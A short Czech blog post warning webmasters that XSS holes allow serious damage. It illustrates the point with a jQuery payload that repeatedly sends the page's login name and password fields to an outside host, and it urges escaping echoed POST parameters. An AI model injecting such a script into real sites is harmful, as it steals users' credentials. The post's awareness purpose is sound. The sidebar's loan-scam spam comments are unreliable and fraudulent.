S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

HURRAY! APPLY NOW FOR RELIABLE LOAN OFFER [Call/Text] +1(415) 322-7529 [WhatsApp Number] +192922270: HURRAY! APPLY NOW FOR RELIABLE LOAN OFFER [Call/Text] +1(415) 322-7529 [WhatsApp Number] +19292227023 [Email] profclaudeloans@gmail.com GOOD NEWS, Are you in need of any kind of reliable loans, and you do not know how to obtain or apply for it you do not have... Ukázat
HURRAY! APPLY NOW FOR RELIABLE LOAN OFFER [Call/Text] +1(415) 322-7529 [WhatsApp Number] +192922270: HURRAY! APPLY NOW FOR RELIABLE LOAN OFFER [Call/Text] +1(415) 322-7529 [WhatsApp Number] +19292227023 [Email] profclaudeloans@gmail.com GOOD NEWS, Are you in need of any kind of reliable loans, and you do not know how to obtain or apply for it you do not have... Ukázat
Robert Francis: We are direct providers of Fresh Cut BG, SBLC and MTN which are specifically for lease/sales, our bank instrument can be engage in PPP Trading, Discounting, signature project(s) such as Aviation, Agriculture, Petroleum, Telecommunication, construction of Dams, Bridges, Real Estate and all kind... Ukázat
washington finance: Dobrý den jsem pan Kristus a chci vás informovat o tom, jak jsem dostal svůj úvěr,    dostal jsem svůj úvěr z washingtonského financování v krátké době 48 hodin,   s pouhým 2% sazba, chci, aby jste tam hledali a hledali půjčku také kontaktovat washingtonské... Ukázat
washington finance: Dobrý den jsem pan Kristus a chci vás informovat o tom, jak jsem dostal svůj úvěr,    dostal jsem svůj úvěr z washingtonského financování v krátké době 48 hodin,   s pouhým 2% sazba, chci, aby jste tam hledali a hledali půjčku také kontaktovat washingtonské... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc